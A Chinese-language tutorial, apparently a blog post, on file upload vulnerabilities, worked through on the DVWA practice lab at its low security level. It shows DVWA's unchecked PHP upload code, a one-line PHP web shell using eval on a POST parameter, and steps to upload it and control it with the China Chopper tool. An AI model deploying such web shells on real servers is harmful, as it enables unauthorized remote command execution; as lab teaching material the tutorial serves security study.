1、什么是文件上传
文件上传前端通过post方式以文件流方式将文件通过后端接口上传至网站指定目录之下。通常使用的方式为:
<input type="file" name="upload">
2、什么是文件上传漏洞
文件上传漏洞指用户上传了一段可执行的脚本文件,并且此脚本获取了服务端执行命令的能力。从而产生危害。
文件上传本身其实没有问题,有问题的是文件上传至服务器后,服务器怎么处理、解释所上传的文件。如果服务器处理逻辑不够安全,极有可能产生严重后果。
3、以下是针对于DVWA-中给出的文件上传漏洞-学习过程
首先文件上传漏洞本质是上传一个具有危险操作的脚本,且具有服务端执行命令的能力。
以下实战过程中需要了解的:
- 有一点PHP的基础。
- 一句话木马(
<?php eval($_POST['juran']); ?>
)(不了解也可以直接上手,先上手再学习。) - 中国菜刀或者是蚁剑(Web shell 与 冰蝎、蚁剑、哥斯拉(新手必看)_汪胖虎的博客-CSDN博客)
级别-low
View Source
<?php
if (isset($_POST['Upload'])) {
$target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";
$target_path = $target_path . basename( $_FILES['uploaded']['name']);
if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {
echo '<pre>';
echo 'Your image was not uploaded.';
echo '</pre>';
} else {
echo '<pre>';
echo $target_path . ' succesfully uploaded!';
echo '</pre>';
}
}
?>
从以上代码中可以看出并没有对文件上传做出什么处理,通过move_uploaded_file
函数将上传文件后将上传到dvwa根目录下的hackable/uploads/
文件夹之中。
那么我们可以直接上传带有危害性的代码(一句话木马)<?php eval($_GET['juran'])>
的文件。
实操步骤
创建文件且包含一句话木马。
文件名:**.php 内容:<?php eval($_POST['juran']); ?>
根据上传路径我们可以判断出我们上传文件的位置为http://{ip}/dvwa/hackable/uploads/juran.php
- 使用中国菜刀执行访问文件并执行一句话木马。
最后一个输入框中是我们一句话木马中对应的参数名,最终我们通过中国菜刀,直接访问到网站的目录之下。